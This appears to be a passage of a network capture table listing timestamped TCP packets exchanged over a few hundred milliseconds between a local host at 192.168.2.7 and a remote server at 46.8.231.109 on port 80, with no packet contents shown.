Aug 28, 2024 22:55:12.371603966 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371609926 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371623039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371627092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371634007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371654034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371659040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371673107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371665955 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.371665955 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.371679068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371709108 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.371709108 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371709108 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.371725082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371732950 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371737003 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.371740103 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.371756077 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372349977 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372375011 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372379065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372386932 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372421980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372427940 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372441053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372452974 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372473001 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372487068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372489929 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372489929 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372520924 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372677088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372680902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372694016 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372704983 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372729063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372735023 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372751951 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372757912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372765064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.372765064 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.372780085 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.373879910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.373886108 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.373902082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.373914957 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.373970985 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.373970985 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.374952078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.374980927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.374993086 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375032902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375037909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375049114 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375062943 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.375138998 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375144005 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375169039 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.375549078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375601053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375612020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375624895 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.375725031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375731945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375744104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375749111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.375755072 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.375786066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.375786066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.376092911 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.376100063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.376183033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.376251936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.376256943 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.376266956 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.376280069 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.378328085 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453176022 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453196049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453207970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453316927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453322887 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453342915 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453349113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453356981 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453361988 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453387976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453401089 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453401089 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453449011 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453454971 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453469038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453479052 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453505039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453511000 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453533888 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453536987 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453540087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453551054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453564882 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453602076 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453608036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453625917 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453639984 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453807116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453860044 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.453885078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453891039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.453913927 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454061031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454071999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454091072 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454097033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454097986 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454104900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454118013 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454123974 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454129934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454130888 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454130888 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454138041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454144955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454152107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454171896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454173088 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454240084 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454246044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454252958 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454261065 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454274893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454282999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454299927 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454299927 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454443932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454478025 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454509020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454514027 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454571009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454576969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454590082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454602957 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454605103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454611063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454615116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454621077 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.454627991 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454643965 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.454916000 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455079079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455095053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455101967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455107927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455113888 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455120087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455126047 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455131054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455133915 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455138922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455147982 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455161095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455164909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455171108 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455172062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455178976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455184937 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455219030 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455219030 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455353975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455398083 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455414057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455471992 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455478907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455496073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455501080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455504894 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455513954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455521107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455544949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455544949 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455544949 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455576897 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455590963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455595970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.455620050 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.455948114 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.458360910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458414078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458420038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458462954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458468914 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458471060 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.458471060 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.458476067 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458483934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458539963 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.458584070 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458590984 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458596945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458602905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458607912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458615065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458635092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458638906 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.458642006 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458650112 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458655119 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458661079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458663940 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.458667994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458683968 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458688974 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458695889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.458698034 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.458753109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459157944 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459181070 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459203005 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459208012 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459230900 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459274054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459281921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459287882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459294081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459305048 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459306002 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459345102 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459369898 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459377050 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459403992 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459443092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459449053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459460974 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459465981 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459476948 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459512949 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459512949 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459562063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459621906 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.459778070 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.459887981 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.461648941 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.461680889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.461684942 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.461776018 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.461781025 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.461792946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.461811066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.461951971 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.535782099 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.536067963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.536077976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.536108971 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.536215067 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.536221981 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.536226988 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.536247969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.536477089 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541340113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541352034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541445017 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541467905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541479111 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541480064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541486979 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541490078 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541493893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541498899 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541505098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541543007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541548014 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541553020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541553974 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541553974 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541568041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541574955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541582108 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541594028 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541598082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541611910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541618109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541618109 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541625023 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541685104 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541709900 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541773081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541779041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541793108 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541872978 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541904926 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.541923046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.541928053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542135954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542176008 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542179108 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542306900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542313099 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542325020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542331934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542331934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542344093 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542351007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542356968 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542357922 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542373896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542378902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542386055 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542387009 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542392015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542395115 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542428970 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542534113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542540073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542551994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542567015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542625904 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542633057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542645931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542655945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542660952 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542661905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.542670012 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.542927980 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.543031931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543118954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543121099 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543164015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543170929 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543198109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:12.543242931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543263912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543270111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:12.543281078 CEST	49702	80	192.168.2.7	46.8.231.109
